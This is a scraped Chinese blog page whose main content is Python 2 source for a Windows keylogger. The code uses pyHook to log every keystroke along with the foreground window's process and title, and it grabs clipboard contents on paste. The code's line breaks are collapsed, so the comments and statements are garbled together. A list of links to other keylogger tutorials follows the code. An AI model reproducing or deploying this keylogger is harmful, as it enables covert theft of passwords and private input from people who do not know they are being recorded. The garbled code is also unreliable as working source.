# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32clipboarduser32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None#
def get_current_process():# 获取最上层的窗口句柄hwnd = user32.GetForegroundWindow()# 获取进程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))# 将进程ID存入变量中process_id = "%d" % pid.value# 申请内存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)# 读取窗口标题windows_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(windows_title),512)# 打印print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)print # 关闭handleskernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)# 定义击键监听事件函数
def KeyStroke(event):global current_window# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)if event.WindowName != current_window:current_window = event.WindowName# 函数调用get_current_process()# 检测击键是否常规按键(非组合键等)if event.Ascii > 32 and event.Ascii <127:print chr(event.Ascii),else:# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE]-%s" % (pasted_value),else:print "[%s]" % event.Key,# 循环监听下一个击键事件return True# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

python 键盘记录器相关推荐

  1. python键盘记录器_使用Python设计键盘记录器

    在这里,我们将使用python开发键盘记录程序.但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键.这些击键将存储在日志文件中.我们可以使用此按键记录敏感信息,例如用户名和密 ...

  2. Python编写键盘记录器

    用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没 ...

  3. Python实现一个键盘记录器功能

    关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...

  4. 使用Python实现键盘记录器和邮箱自动通知

    文章目录 键盘记录器 参考 (1)键盘记录器-模块实现 (2)发送邮箱-模块实现 (3)模块合并 键盘记录器 参考   <python:搞事情!键盘记录并截屏>, 地址https://ba ...

  5. 用python六行代码写一个简单的键盘记录器

    今天我们来用python制作一个键盘记录器 1.需要先安装pynput库 2.然后我们要在C盘里新建一个hi文件夹(我的电脑是c盘所以用c:盘新建,盘符可以更改) 3.新建好后我们打开pycharm开 ...

  6. python键盘记录255是哪个按键_Keylogger: Python写的键盘敲击记录器

    Python部落(python.freelycode.com)组织翻译,禁止转载,欢迎转发. 安装 你需要安装python-xlib如果你没有的话. sudo apt-get install pyth ...

  7. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器 文章目录 黑帽python第二版(Bla ...

  8. python 三种键盘记录器 based on pyhook,pynput,pygame

    在python语言中使用键盘输入,其方式之多,令人发指.但是为什么我要写这篇文章呢?我乐意呀!哈哈哈.当然,同学发问了,老铁,你是闲出屁来了? 哼?怎么可能,我是闲的蛋疼... 咱先把泌尿外科的事放一 ...

  9. Android设备新型恶意软件,融合银行木马、键盘记录器和移动勒索软件等功能

    2019独角兽企业重金招聘Python工程师标准>>> 网络犯罪分子目前正在开发一种针对Android设备的新型恶意软件,它融合了银行木马.键盘记录器和移动勒索软件的功能. 根据来自 ...

最新文章

  1. Linux平台-×××
  2. mysql动态规划_动态规划《开篇》
  3. awk 分隔符_awk 中的字段、记录和变量 | Linux 中国
  4. php laravel框架 rce分析 cve-2018-15133
  5. win下手工启停数据库
  6. java int.parse_java数据类型转换,parseXXX(String)或valueOf(String)有什么区别?
  7. 每天一道LeetCode-----有效回文串
  8. 将WildFly绑定到其他IP地址或多宿主上的所有地址
  9. 想入职AI算法岗?BAT的工程师去学了这门课
  10. git使用的基本流程_我并不是高冷(Git进行中01):git基本流程简介
  11. 让计算机教育因云而变,阿里云正式发布云原生人才培养合作计划
  12. Tomcat access log配置
  13. 面向单片机编程(一)- 单片机该怎么学
  14. Chrome OS超便捷安装指南
  15. python chm模块_python3.7.0官方参考文档 最新api文档 chm
  16. #今日论文推荐# 文字秒变3D?苹果发布最新AI生成模型GAUDI,根据文字提示创建3D场景
  17. 提高vivado编译速度
  18. 虚拟主机做游戏服务器,虚拟主机做游戏服务器
  19. 如何应对云安全技术遇到的挑战?可从这三点入手
  20. 100个常见的php面试题和答案分享,精选php面试题及答案

热门文章

  1. 仿猿题库练题滑动分屏效果
  2. VPS8504C 微功率隔离电源隔离芯片 VPSC源特科技
  3. 基于LSTM的ADS-B欺骗攻击检测方法
  4. git clone切换分支
  5. AeroSpike基本原理及概念
  6. 程序员必备!最值得收藏的宝藏网站大盘点
  7. 怎么将jpg转换成png格式
  8. java死锁业务场景_【深入浅出多线程系列十二】:什么是死锁?(场景+代码示例)...
  9. EXCEL使用技巧-如何将单个单元格内容隐藏
  10. 使用树莓派搭建私人存储云盘